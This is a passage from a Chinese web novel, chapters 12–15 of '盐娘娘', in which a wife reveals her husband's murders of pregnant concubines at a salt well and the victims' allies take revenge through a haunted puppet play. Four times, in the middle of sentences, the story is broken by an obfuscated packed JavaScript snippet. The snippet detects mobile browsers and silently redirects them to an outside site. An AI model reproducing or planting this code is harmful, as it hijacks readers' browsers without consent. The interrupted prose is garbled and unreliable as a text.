* * * 夜色漫过青瓦，一道窄长的身影踱进了鲁府西北方的小院。 这已经是大夫人崔氏今日第三次来了，前两次院门口守着两个粗使婆子，崔氏不敢造次。而此时暮色四合，婆子也逃懒寻吃食去了，崔氏这才小心翼翼地踏进院来。 原本僻静的小院此刻一片狼藉，门上是淋漓的朱砂，墙上是糊满的符纸，地上是交错的脚印，可见白日里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595671|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹腾，崔氏不由得叹了一口气。 晌午开坛做法之时，崔玉容躲在自己房中闭门不出。她说不清究竟是因为自己不喜热闹，还是害怕看到晏回与道士斗法失败，灰飞烟灭的现场。好在，围观了全过程的翠竹给她带回来的，并不算是坏消息。 正在这时，房中的灯火亮了，映出了倚窗而坐的秀美剪影。 崔玉容踯躅了片刻，终究是开了口。 “你倒是个好本事的，算是我看轻了你。”声音很轻，尾音里带着颤，似乎一阵夜风便吹散了。 那人影微微一动，似乎是轻笑了一声。 “既然夫人知了婢子的本事，那——可曾改变心意？” 崔玉容攥紧了手中的帕子，她知道晏回指的是二人昨夜的密谈，想及自己全副身家都被鲁府拿捏，此刻又被身为婢子的晏回若有若无的取笑，心中不由起了恼恨之意，冷笑道：“你真当自己赢了？若真是赢了，此刻被囚在房里的，应是那清水道人吧！你与我，皆为笼中之鸟，不过五十步笑百步罢了。” “那夫人便是来看婢子笑话的？” “你——”崔玉容狠狠抿了抿唇，压低声音道：“那日我劝你走，你自视甚高，硬是要与那道士斗法，今日侥幸得胜，那道士岂能善罢甘休？只怕是魔高一尺，道高一丈，一计落败，再生一计，无止无休。你又当如何呢？” “兵来将挡，水来土掩而已。” 大夫人崔玉容气得银牙紧咬，心中怨怪：我几次三番冒险来救你，偏你就是个不服软的犟种！可见，真是个槐木化成的精怪，又冷又硬，不知好歹。我虽是心中对你有愧有怜，可时至今日，我为你所做的也算是仁至义尽，你若还不听劝，便只当我不识得你，你是倒反天罡也好，魂飞魄散也罢，也就由得你去了！ 她已然怒极，狠话在舌头根儿下翻滚了数遍，脱出口的却还是一句：“我就问你一句，你到底肯不肯走！” “那要看夫人肯不肯走。”房里的倩影依旧不动声色，声音也听不出丝毫波澜。 ——再管你我便不叫崔玉容！ 大夫人懊恼转身，拂袖欲走，房中却又传出柔柔地一声唤：“夫人。” 刚抬起来的绣鞋在半空中僵持半晌，终究犹豫着落下了。 “婢子知道夫人是为我好，正如婢子也挂心着夫人。与其你我二人纠结走和留，不如夫人主动出击，将危机化解于无形。”那倩影的双唇微微翕动，语音不快不慢，若一汪泉水，柔软清凉，直润进人的心肠里去。 崔玉容的心啊，被这汪水缓缓地沁着，浸透了外层苦硬的壳，逼出了崔玉容长长地一口气。方才骤然腾起的怨愤、不解、慌乱都随着这口气淡了下去。绷紧的双肩松了下来，崔玉容的语气也不再那般尖锐：“你想我如何做？” “还请夫人附耳过来。” 12. 盐娘娘（十二） 芜廊上的月色被摇动的树影打碎，如散银一般落了满地。崔玉容的绣鞋踏在上面，每一步都走得小心翼翼。 她也不知道自己是中了什么邪，竟然答应了晏回，替她去探问鲁秉添和邵老夫人接下来的计划。而如今，“逼上梁山”的崔玉容，也只能借着送安神汤的由头，独自前往鲁秉添的卧房。 刚走到房门口，屋内便隐隐有谈话声传来，崔玉容心头一紧，赶忙贴着门柱站定，屏息细听。 “……娘，这般大事，如何一直瞒着我？”是鲁秉添的声音，沉稳里带着股阴鸷。 “哎……实在是事情来得蹊跷，添儿你又被那狐媚子迷了神志，让为娘的很是作难啊……”邵老夫人的嗓音里则带着掩不住的愧疚。 “不过，这也是好事。那道士说端阳请戏班，咱们便依着他。玉梨班的人进了门，唱什么戏、怎么唱，还不是咱们说了算？” “添儿你说，那小蹄子当真是妖孽？” “若当真是，虽然可惜，但让那道士顺手除了也便罢了；若当真不是——”鲁秉添冷冷一笑，声音压得更低了。“母亲且细想，楚怜之事，全府上下就母亲与我和那崔氏知道。如今消息漏了，不是她走风，还能是谁？” 崔玉容端着养神汤的手早已冻得发僵，耳中能听见自己剧烈的心跳声——自入春以来，鲁府的夜风总带着股湿冷的潮气，此刻顺着领口灌进来，竟比数九寒天更让人寒毛倒竖。 “那女人知晓得太多，不能留了。”鲁秉添的声音像块磨得锋利的刀，“若那晏回真是精怪，道士除了她，咱们便说大夫人被精怪迷惑，一并送进盐娘娘的祠堂；若那道士是骗子……”他顿了顿，“娘可记得盐场新调的三百兵丁？端阳夜里，待道士作法之时，儿子会让他们埋伏在院外，待府中天灯一起，便是动手的信号，将这些祸乱家宅之人——一网打尽！” 邵老夫人的声音有些发虚：“到时候满院子都是人，若是闹将起来……” “闹将？”鲁秉添笑了，“本老爷家宅中事，谁敢闹将！” 一股刺骨的寒意顺着脚底板攀了上来，让崔玉容的指尖情不自禁地一颤，手中的茶盘竟是再也端不住，微微倾斜，那茶盏就势向着青石砖地面砸去！ ——只怕我等不到端阳日，今日便要身死了…… 崔玉容心如死灰，双目紧紧合拢，静待那惊心动魄的碎裂声。 茶盏坠地的碎响终未响起。 崔玉容只觉耳后忽有风声掠过，腕间一凉，已被人扣住脉门。她本能要喊，唇上却覆了片温凉的帕子，混着淡淡的檀香，将惊呼闷在喉间。 “噤声。” 温和的嗓音自身后响起，崔玉容抬眼，只见一袭月白道袍若白鹤的羽翼微微张开，男子单手托着那只险些碎裂的茶盏，另一只手携着帕子，待她颔首后方缓缓从她唇上移开。 正是白日里在府上闹了笑话的道长。 未等崔玉容回神，只听道士轻道一声“得罪”，便揽住她腰肢，足尖一点廊柱，带她掠上屋檐。崔玉容微张着嘴，许是因为过度的惊吓，她没有喊出一丝声响。只感觉夜风在耳畔呼啸而过，脚下的青瓦化作流动的墨迹，与夜色融为一体。 她垂头看向身下的鲁府，肃重的宅院如同盘踞的巨兽，每一次呼吸都喷吐着腐臭的热气。她已经在这所牢笼中困囿了十数年，唯在今夜得以振翅高飞。不知为何，她心中盘旋的不是恐惧，不是慌乱，而是前所未有的释然。 范凌舟不知道崔玉容心中的翻涌，只是觉得这位大夫人不踢打，不挣扎，倒是格外配合。不过数息，两人已落在西北小院的雕花窗下。看守院落的粗使婆子被范凌舟点了穴位，正躺在地上呼呼大睡。范凌舟屈指叩了叩门扉，小屋的木门应声而开。 晏回立在烛火笼成的阴影里，素白中衣外罩着月青褙子，发间只斜插一支木簪，像是一束被雨水打湿的月光。她冲着还未缓过神来的崔玉容微微一礼：“辛苦夫人了。” 看看浅笑的晏回，再看看立在一旁的白袍道长，崔玉容便是再糊涂，此刻也想明白了些许。 这一切的一切，本就是晏回和这位道长共同设下的局。 烛火被穿堂风撩得晃了晃，映得三人影子在墙上连成一片。崔玉容扶着桌角站稳，鬓边珠钗尚歪在耳后，可脸上的惊惶已然褪去。 “你……你们究竟想要什么？” “一个真相。”范凌舟接口道。他还是没有完全原谅这个扇了晏回一巴掌的女子，口气不免冷硬。 晏回扫了范凌舟一眼，对崔玉容温声道：“我们想要楚怜的骸骨，想要讨回一个兄长的公道，也想要给夫人……真正的自由。” 崔玉容奋力攥紧手中的锦帕，无意识地大口吞吐着空气。想要什么……她似乎总在追问别人想要什么。母亲想要一所能够奉养她终老的大宅子；幼弟想要同姐夫一样功成名就，成为人上人；自己的夫君想要一个佛口蛇心，与他同流合污的大夫人；邵老夫人想要一个陪伴在自家儿子身边，却又无法夺走他的心的奴隶；鲁府上上下下想要一个永远神秘，高高在上，给宅院带来兴旺的盐娘娘…… 而她呢？她自己呢？她想要什么呢？ ——我想要这困住我的一切，灰飞烟灭。 迷惘与踯躅逐渐从崔玉容的眸色中褪去，取而代之地，是前所未有的坚定，她抬起头，缓缓张开了口。 * * * 这一切的开始，始于一场意外，那个名为晚娘的妾室死了。 鲁秉添衣衫不整，慌慌张张地跑进了邵老夫人的房里，房里的烛火彻夜未熄。第二日的夜里，她看见鲁秉添的身影从东跨院儿跌出来，肩头压着个硬挺挺的东西，直往宅子的西北边去了。 她不知怎地，着了魔似的悄悄跟了去，看见鲁秉添正费力地将那肩头的东西往井口上搬。那是一口废弃的盐井，早年间卤水煮干了，井壁结着层白花花的盐霜，已经无人看顾多年了。 崔玉容只顾着望看，却没有注意脚下，冷不防踩到一个浑圆的物件，脚底一滑，哎哟一声摔扑在地上。借着隐晦不安的月光一照，竟然是一枚东珠。那东珠她记得，是鲁秉添和妾室晚娘尚你侬我侬时赏给她的，正圆的完美形制，珠底泛着柔软的淡紫光晕。 崔玉容目眦欲裂，难道——方才被鲁秉添抛下去的……是晚娘！？ 正惊恐之时，崔玉容只觉一抹浓重的暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595672|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影侵染了过来，将她登头盖脸罩住。崔玉容惶惶抬头，正对上鲁秉添惨笑着的脸。 “夫人……都看见了？”他的嗓音阴恻恻的，让崔玉容的汗毛都炸了起来。 “我……妾身……”崔玉容哆嗦得半晌说不出一句话。 鲁秉添直起身子，施施然地拍了拍手上沾着的盐晶，又猛地折下身，黑黢黢的眼睛死死盯着崔玉容的脸，抬起食指，缓缓道：“嘘——” 崔玉容瘫在地上，喉咙里腥甜翻涌。她如何不懂鲁秉添那声“嘘”后隐藏的意思，那是让她用沉默换自己和自己一家子的性命。 那夜之后，崔玉容生了一场大病，而镇子上则渐渐流传起了盐娘娘的传说。先是卖菜的王婶子说，夜里看见白衣女子抱着婴孩在井边哭；再是药铺的陈大夫说，有个产妇梦见盐娘娘托梦，说“不配为母者当去”。传说甚嚣尘上，最终竟言之凿凿地成了真。 崔玉容知道，这是鲁秉添买通了人，可她能做的也只有蜷在被窝里，日日夜夜地数着腕间的佛珠，昏天黑地。 与崔玉容的惊惧交加不同，邵老夫人却像捡了金元宝似的高兴。她命人在盐井上方盖了座价值连城的小庙，将数以千万计的贝壳打碎，融混在泥浆之中，再烧制成砖，最终垒建成庙，在太阳下晃得人眼晕。 老夫人每日清晨去上香，回来时嘴角都挂着笑，她说盐娘娘保佑着鲁氏一族，锦衣玉食，可享万世太平。 后来的妾室们，倒像约好了似的。子衿有了身子才三个月，鲁秉添就嫌她说话吵；春露的肚子刚显怀，他又说她走路没规矩……崔玉容在廊下看着，她们以安胎为由被请进娘娘庙，便再也没有出来。而她，则要在鲁秉添的逼迫下，下到废弃的盐井之中，抱走她们刚刚诞下的孩子。 每一个夜晚，她都能听到那声阴恻恻的“嘘”，如芒刺背，如影随形。 盐娘娘，这个由鲁秉添和邵老夫人塑造出来的邪神，似乎真的躲藏在可怖的小庙里，让这母子俩过上了顺风顺水的日子。鲁秉添有了完美的理由频繁更换妾室，也不必用金银打发；邵老夫人守住了她儿子的心，亦守住了鲁府偌大的家业不被别有用心的妾室占据。 而被困在盐井之下的，似乎只有无法安眠的崔玉容，和那些日夜哭泣的妾室们的冤魂。 而楚怜，则是击垮崔玉容的最后一根稻草。 她是那般温柔澄净的女子，丝毫没有尊卑有别的疏离，时不时地钻到她冷清的卧房里陪她聊天。崔玉容下意识地疏远着她，绷着嘴角，冷着脸，三天一小骂，五天一大骂。楚怜却一概喏喏地受了，更小心翼翼地亲近着她。 “这院儿里只有妾身和姊姊两个苦命女子，与姊姊隔得近些，便不觉得怕了。” 她的心终究是肉做的，冷不防，便软了。 她还记得那日，她与楚怜在廊下坐着，楚怜携起她的手，轻轻放在自己的腹部，轻声道：“妾身自小是兄长带大的，做梦都想有个姊姊。妾身运气好，虽没嫁个如意郎君，却在府里遇到了姊姊。玉容姊姊若是不嫌弃，就给妾身的孩子取个乳名吧！” 崔玉容只觉一柄利刃当胸穿过，半晌没透过气来，她最怕的事情，终于要发生了。 13.盐娘娘（十三） 崔玉容面色剧变，倏地起身，便往鲁秉添的书房奔去。她知道自己救不了任何人，但这一次，她想试一试。 她动作太急，把楚怜吓了一跳，只来得及在后面踮着脚喊：“姊姊，我还给你带了无忧草的种子……” 未说完的话语飘在空中，风一吹，便散了。 那日，崔玉容在鲁秉添的房里求了很久。鲁秉添的表情颇为玩味，他想不通一向冷心冷情的崔玉容，怎会如此看重一个妾室的生死。他笑着撇了撇嘴，应承道：“夫人且宽心，这怜儿温柔熨帖，恪守妇道，盐娘娘暂且……不会收她。” 崔玉容强忍恶心，抓着鲁秉添冷涔涔的衣角，叩头不迭。 然而，崔玉容却忘了，决定楚怜生死的，从来不是盐娘娘。 当夜，楚怜便被灌服了少量曼陀罗花的药汁，送入了娘娘庙中。崔玉容只得再次求告于鲁秉添，得到的答案却是：老夫人瞧着怜儿不喜，暂且将她关进娘娘庙，避避风头。 崔玉容不想信，但也不得不信。她夜夜都会偷偷溜到小庙处，将耳朵紧紧贴在紧闭的门扉上，妄图听到庙里一丝一毫的声息。她似乎听到了女子因腹部隆起而日渐沉重的喘息声，她看到老夫人会时不时地捧着汤药走进庙里，崔玉容确信，怜儿还活着，她可怜的妹妹……还活着。 数月过去，雨水渐多，淋淋漓漓，似乎一辈子都不会停。那日的子时，老夫人传话让她去娘娘庙。 “你知道该如何做。” 闻言，崔玉容的指甲掐进掌心。这几个月里，她早把娘娘庙的每块砖缝都摸熟了，即便在这伸手不见五指的雨夜，她也能摸索着打开门，点亮提前摆放在庙中的灯笼。 明明灭灭的火光间，神龛中的盐娘娘金身笑得狰狞。 崔玉容膝盖打着晃，一步一个踉跄地爬入那废弃的盐井之中。 在井底不断上涨的积水中，她寻到了她日思夜想的楚怜。那血腥的场景让她手腕一颤，火把掉在污水中，闪动了两下便熄灭了。 她匍匐着爬到楚怜身边，手掌被凝结的盐晶剐得鲜血淋漓，她却毫无所觉。她颤抖着去触碰楚怜的脸，尚有余温，心脏却再也没有力气跳动。剖开的血肉之中，崔玉容注意到有个皱巴巴的小脑袋，正闭着眼拼命吸气，发出细弱的哭嚎。 是孩子，楚怜的孩子。 她脱了外袍裹住她，孩子的哭声被雨声盖住，她只能凭体温确认孩子还活着。爬到井口时，她眼前一黑，几乎栽进泥里，却死死护着怀里的小身子。孩子放声哭了起来，针扎般刺入她的耳朵，形成可怖的回响。 ——玉容姊姊若是不嫌弃，就给妾身的孩子取个乳名吧！ “阿念……你叫阿念。”在昏过去的最后一刻，崔玉容颤抖道。 那夜之后，崔玉容再也没有见到楚怜的尸体。娘娘庙门口的空地上，却莫名生出了一片忘忧草。自此，崔玉容便怕极了那片黄灿灿的，在风中摇曳的花。 鲁府西北方的小院儿本就僻静，此刻更是静得掉针可闻。将胸中憋闷经年的真相倾囊相告的崔玉容，惨白着一张脸，像傀儡人偶般僵硬地晃了晃，噗通一声跪倒在地，深深地垂下了头。晏回看不到她的表情，只能看到泪水如同断了线的珠子，争先恐后地坠在地面上，凝成一个小小的，无助的水洼。 “我死亦何辜，但你们……莫要执念于此，快些走吧……” 晏回和范凌舟对望了一眼，轻声道：“夫人，你想报仇吗？” “我——”崔玉容嗓音嘶哑，不忍卒听，“定然是想的。可是，那鲁秉添手下有三百盐场官兵，你们区区两人，如何报仇？怎能报仇？与其大家一起困死在这囚笼之中，不如你二人逃出生天……” 自始至终，她都想放晏回一条生路。哪怕如今，她已经知道了是晏回自己躬身入局，崔玉容亦未改初心。 闻言，范凌舟对崔玉容最后一丝略带恨意的防备也散了去，颇有些同情地叹了口气，可说出的话却让晏回想要一脚踹上去。 “啧，西楼，大夫人瞧不起咱们呢！” 晏回吐了数口气方才平复自己的心情，踏前一步，将微凉的手搭在崔玉容的肩头。 “夫人，还是那句话，是福还是祸，咱们会会它。” * * * 五月初五，端阳。 晨光初隆，寿光城的百姓们便忙碌起来。空气里弥漫着苍绿色的艾草香，家家户户的笼屉里都蒸上了香甜的蜜枣粽，人人都换上了菖蒲编成的蒲鞋，“啪叽”着脚板在街上走。巷口卖锭子药的小贩高声吆喝着，与一旁嬉闹的孩童相映成趣。西市的天灯铺子最是热闹，裱糊匠的浆糊刷得簌簌响，一盏盏绘着荷花、锦鲤的纸灯在竹竿上晾着，风一吹便摇摇晃晃，像坠了满街的云霞。 此正是：五月榴花妖艳烘，绿杨带雨垂垂重。五色新丝缠角粽，金盘送，生绡画扇盘双凤。正是浴兰时节动，菖蒲酒美清尊共。 这时，街道的尽头响起一阵清脆的铜铃声，一辆青布篷的牛车晃悠悠拐进胡同。车板上摞着七八个朱漆戏箱，最顶上还绑着两杆描金旗幡，被风一吹便哗啦啦翻卷，露出“玉梨班”三个褪色的金字。车帮子上挂着铜锣鼓、木刀枪，连车辕两侧都垂着物件儿，随着颠簸叮咚乱响。牛车后跟着一队男男女女，热闹非常。 小班主唐珠儿盘腿坐在车辕上，双鬟垂于耳侧，束着水红色的缎子，更显得那张桃花面娇俏可爱。牛车走得极慢，她也不急，不时从褡裢里摸出一把瓜子磕了，一边拍着大青牛的屁股哄劝道：“青墩儿，再加把劲，等入了府，我给你割筐新鲜苜蓿，再拌把黄豆，保证吃得你熨熨帖帖！” 那大青牛极有灵性，闻听此言，甩了甩耳朵，步子登时快了些，蹄子踩得石板“咯噔”响，不多时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599769|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁府的朱漆大门已近在眼前。 鲁府自是请过戏班子，可像唐珠儿这样把全副身家都拉过来的也是少见，唬得门房小厮一叠声地“好家伙”。唐珠儿一边招呼众人卸车，一边嘴上不饶人地抢白：“少见多怪，没听过‘戏班行头半座城’嘛！诶！留神！仔细着我那枪缨子！” 叮叮当当忙活了一个晌午，这才算是进了鲁府的大门，趁着大青牛胡吃海塞的当口儿，唐珠儿拿着戏折子，蹦蹦跳跳地寻主家点戏。 斜倚在酸枝木椅上喝茶的鲁秉添，见了那正迈步进厅的小娘子不由得眼睛一亮。那从头至脚的一袭水红色将唐珠儿衬得如初开的花儿般鲜嫩无匹，可再细瞧了几眼，又觉得年龄太轻了些，少了晏回那般的女人韵致，便也悠悠收回了眸光。 “鲁老爷，玉梨班给您请安了。”唐珠儿俏生生地福了福身，道：“小的是玉梨班小班主唐珠儿，今儿入了咱府上，可真是蓬荜生辉！” 鲁秉添书读得不多，倒是没听出唐珠儿话里的弯弯绕，只是倨傲的点了点头。却听唐珠儿继续道：“今儿是端阳日，头出戏当由老爷亲点，图个吉利。” “嗯——”鲁秉添拉长了鼻音道：“拿戏单来。” 唐珠儿赶紧递上一张洒金笺，墨迹未干，写着《牡丹亭》《长生殿》《天仙配》等一众戏码。鲁秉添扫了两眼，指尖忽然顿住，抬眼道：“《井中月》可有？” 唐珠儿的梨涡僵了僵，歪头道：“禀老爷，那《井中月》虽是新戏，讲得却是被富商买了去的姑娘，在主家受尽苦楚，死后化作厉鬼，向主家索命的故事……今儿端阳，本就是恶月恶日，唱这个可不太吉利。” “吉利？”鲁秉添嗤笑一声，指节敲了敲戏单，“你这小丫头怕是不知，本老爷府上有盐娘娘镇着，自是不怕什么邪祟妖孽作怪，我偏要点这个。” 唐珠儿眼珠一转，甜甜笑道：“当然是老爷说得算！” “嗯——你便……”话音未落，鲁秉添脸上的得色一僵，双眸微微睁大，向敞开的厅门望去。客厅正对着花园，此刻花园的水榭正搭建着戏台，杂役小厮力工穿梭往来，十分忙碌。 “那人……”鲁秉添盯着一个闪身而过的男子，嘴里念叨着什么。 “老爷，老爷？”鲁秉添回过神，唐珠儿仰头笑着脸不偏不倚撞进他的视线里。 “看来老爷是想戏想入了迷，都瞧不见小的了。您就请好儿吧，咱们玉梨班在济南府都赫赫有名呢，包您满意！” 被唐珠儿这么一调侃，鲁秉添也不免尴尬，讪讪地撇了撇嘴，方才关注之事一个闪念便也忘了。 待唐珠儿揣着戏单，一路蹦蹦跳跳拐了两拐，来到安置青墩儿的牛棚时，正见一男子弯着腰给青墩儿添水。唐珠儿气不打一处来，见四下无人，登登两步走上去，一脚踹在男人的小腿上。 “你这人怎么回事！” 14.盐娘娘（十四） 唐珠儿踹得凌厉，男人不由得闷哼一声，转过身来。 竟是消失多日的楚庸！ 楚庸自知理亏，悻悻挨了唐珠儿一脚，也不反抗，低下头去。他当然知道最不该出现的人就是自己，但是他忍不住。他无论如何都要亲眼看看，害死怜儿的夫家人到底要如何替怜儿偿命。为了这一眼，他宁愿将剩下的寿数都换给阎王爷。 一旁的唐珠儿还在叽叽喳喳，压低声音训斥道：“带你进来本来已经很冒险了，你不好好藏着，还敢直眉杵眼地到鲁秉添面前晃悠！” “你想死不要紧，不要害了我们！” 楚庸怀里还抱着一大捧新割的草，脑袋垂得几乎埋到了草堆里。等唐珠儿一痛骂完，他沉默了半晌，方才颤声道：“珠儿姑娘，我……我知错了。可是……”良久，他从牙缝里挤出几个字，“我恨呐……我恨……” 一滴清泪落在草叶上，顺着光滑的叶面一路向下，很快便消失不见。 牛棚里的青墩儿等了半天，也不见二人给自己加草，不由得伸出头来，抻长了舌头去卷楚庸怀里的苜蓿。 唐珠儿歪了歪头，盯了楚庸一阵儿，脸上的恼怒之色逐渐散去。她从怀里掏了掏，摸出了一把红彤彤的枣子：“哝，吃点儿吧，甜的。” 这是她刚刚从鲁府的花厅里顺的，自己还没吃几颗。 楚庸也不说话，老实地接过枣子，并没有塞进嘴里，只是僵硬地捧在手心。翠绿的苜蓿草，衬着圆溜溜的枣子，鲜艳得紧，却更显得楚庸面色灰白，仿若活死人一般。唐珠儿瞧在眼里，不由又心软了几分。 她叹了口气，劝慰道：“你且宽心，今日之事，没有不成的道理。你就和青墩儿好好呆着，等我们的好消息。” 唐珠儿性子活泛，最怕这种压抑的氛围，说完便急火火地跑了，留下还呆站着的楚庸和舌头伸出两尺长的青墩儿。 少女走后，楚庸半晌未动，直到青墩儿吃完了他怀里所有的苜蓿草，心满意足地吭叽了一声，他方才缓过神来一般，吃力地晃了晃身子。他将背靠在牛棚的立柱上，慢慢地瘫坐下来。唐珠儿给的枣子，被他一股脑踹进怀里，一颗未动。他用手掌狠狠按住酸胀的眼睛，无声地痛哭起来。 * * * 到了下午，鲁府又迎来了孤身前往的范凌舟，一时间搭戏台，摆法阵，一南一北好不热闹。预备夜晚燃放的花灯也已备齐，暂时悬挂在后院儿，摆得满满当当。原本偌大的鲁府，经此一折腾，竟是忙乱拥挤得没有人落脚的地方。而鲁秉添则继续稳坐高台，端着茶水，时不时啜一口，凝望着繁忙的院场。 终于，第一缕暮色降下来了。 戏台搭在鲁府后园的水榭中央，火红的晚霞被湖水柔柔地捧着，衬着那戏台上古色古香的十二面铜镜，倒真是镜内镜外，水上水下，一片烈火烹油的盛景。鲁府众人环湖而坐， 邵老夫人被桃儿扶着坐在最前排，身旁是冷着一张脸的鲁秉添；崔玉容缩在角落，指尖攥着帕子，目光死死钉在戏台上；小顺子垂头立在廊柱下，暮色昏沉，看不清表情；连看守晏回小院的粗使婆子都溜了过来，挤在人群里交头接耳。 小班主唐珠儿一身盛装，双环垂肩，怀中抱着一把曲颈月琴，一对儿剪水妙目往台下一扫，五指拨动，清越的琴音便响了起来。掩在琴音之下，似乎有某种闷闷地敲击声，随着琴音的逐渐攀升，那闷响也愈发扩大，形成了无法让人忽略的节奏。众人的目光来回逡巡着，最终定格在戏台一角的红漆木箱上。 “嗡——”唐珠儿五指一轮，伴着那如玄鸟般冲天的乐音，木箱轰然打开，一阵绯红色的雾气喷涌而出。 众人还没来得及惊叫出声，便见一条雪白的手臂从木箱中探了出来。顺着那毫无血色的臂膀向上，一具人形逐渐显现，紧接着，便是第二具、第三具……她们踏着弦音旋身而出，扭动着腰肢，尽态极妍，月白色的广袖随着动作展开又收拢，遥遥望去，如同无数扑向月光的蛾。这些如梦似幻的妖姬面上皆罩着素色的绢纱，隐约凸起五官的轮廓，只略略透出一点朱唇的红，定睛细看，竟是十二具美艳至极的傀儡。 琴声愈催愈急，傀儡们的舞姿亦愈发狂野炫目，与那铜镜反射的夕阳熔铸成一片，如同在火中盛放的曼陀罗。 “这……这傀儡怎的和真人一般？”前排有婢女小声嘀咕。 回答她的是一阵又一阵压抑地“哇”声。 “这戏演得是什么呀？”又有耐不住寂寞的婢子询问道。 “据说——”搭话儿的小厮拼命压低声音，“讲得是小妾枉死的故事呢！” “啊！？这也太……”婢子心有余悸地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604531|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝鲁秉添的方向望了一眼，“太不吉利了吧……” 而此时，鲁秉添和邵老夫人却全然听不见台下的议论，所有的注意力都被台上的傀儡吸引了。只见那十二具人偶巧妙地一旋，裙摆滑过铜镜，身姿竟悄然隐于巨大的镜面之后，只露出蒙着绢纱的脸。戏台上陡然一空，一具面容清晰娟秀的人偶悄然出现。 她的脸上并没有罩着绢纱，细看眉眼却让众人倒吸一口冷气。 太像了，实在是太像了。 傀儡人偶有着一张柔弱苍白的脸，狭长的睫毛簇着一双猫眼石般浅淡的眸子，眸下寸许泛着淡淡的青色，恍若烟气一般。和尚囚在西北小院儿的晏回，一模一样。 鲁秉添只觉一团棉絮堵在喉咙口，咽不下去，亦吐不出来，几乎难以呼吸。他瞪大了眼睛，目光从人偶的面容缓缓下移，直至“她”隆起的腹部。身旁的邵老夫人剧烈咳嗽起来，涨得满脸通红。 鲁秉添恍然未闻，只是盯着傀儡的动作，额头渗出冷汗。只见那傀儡人偶竖起细长的殷红指甲，带着诡异的媚态，指向自己的腹部。紧接着，只听唰啦一声，长指甲猛地划了下去，如同剖开皮肉的尖刀。更为可怖的是，那傀儡的肚皮竟如真人一般，流出猩红的“血水”来！ 鲁秉添大张着口，如同搁浅的鱼一般，不断啜吸着逐渐稀薄的空气。他惊恐地发现，那傀儡的眼瞳在转动——不是丝线牵引的机械转动，而是像活人般，缓缓转向他的方向。 “娘……不对劲啊娘！”他终于喊出了声。 话音未落，戏台上却传来一声尖细的啼哭。那具傀儡的腹部裂开了，露出另一具惨白的婴孩儿的脸，竟是又一具傀儡。那婴儿傀儡大张着嘴，发出断续的呜咽，同崔玉容在雨夜听到的哭嚎如出一辙。 台下众人起了骚动，有婢女尖叫着捂住眼睛，有仆役后退着撞翻了茶几，连邵老夫人都踉跄着去拉扯鲁秉添的袖子。一片混乱之中，立在戏台一角的唐珠儿笑意盈盈，五指一轮。随着她手腕轻颤，琴弦上沾着的金粉簌簌飞散，在月光下泛着细碎的光，像一场金色的雾，慢悠悠笼罩了整个水榭。 鲁秉添的太阳穴突突直跳，喉头发甜。他想喊人，却发现舌头像是灌了铅；想挪步，双腿却早已软得像棉花。视线模糊前，他最后看到的是那具淌着血的傀儡正缓步向他走来…… 15.盐娘娘（十五） 鲁秉添是被后脑勺的钝痛疼醒的。 他想抬手揉一揉，却发现双臂被粗麻绳反绑在身后，腕骨勒得生疼。更不对劲的是，血液正疯狂往头顶涌，太阳穴突突直跳，眼前像蒙了层血雾。 ——我这是……怎么了？ 他拼力抬起头，抻得脖颈的筋骨咔吧作响，面前的视野逐渐清晰了起来。他看到了摇晃的井壁，堆积着青苔与盐晶的缝隙，以及井底泛着幽光的积水。他隐约看清那水面反射出的人影，头朝下地吊着，两颊涨得紫红，额角青筋暴起，连眼白都渗着血丝。一股难言的恐惧袭上心来。 “醒啦？” 一阵清亮亮的女声从井口飘了下来。 鲁秉添使劲勾起身子，咬牙切齿地向井口望去。只见一片晃动的光斑里，唐珠儿正悠荡着腿坐在井沿处，歪着脑袋冲他笑。她的脑袋上插满了金玉首饰，一根步摇正随着她的动作轻颤着，上面的掐金丝蝴蝶振翅欲飞，那是他今年年头儿新打的首饰，准备送给未来的妾室，不知何时竟插到了唐珠儿的鬓边。 